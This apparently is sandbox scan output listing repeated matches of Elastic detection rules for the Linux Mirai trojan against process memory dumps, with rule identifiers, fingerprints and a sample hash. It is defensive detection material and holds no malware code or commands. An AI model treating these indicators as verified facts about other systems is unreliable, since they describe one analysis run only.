Source: 7012.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6611.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6611.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6611.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 7345.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 7345.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 7345.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 7152.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 7152.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 7152.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6284.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6284.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6284.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6614.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6614.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6614.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 7337.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 7337.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6358.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6853.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6853.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6853.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 7174.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 7174.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 7174.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 7337.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6358.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6358.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 7023.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 7023.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 7023.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6404.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6404.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6404.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6416.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6416.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6416.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6299.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6299.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6299.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 7322.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 7322.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 7322.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 7433.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 7433.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 7433.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6319.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6319.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6319.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6913.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6913.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6913.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6820.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
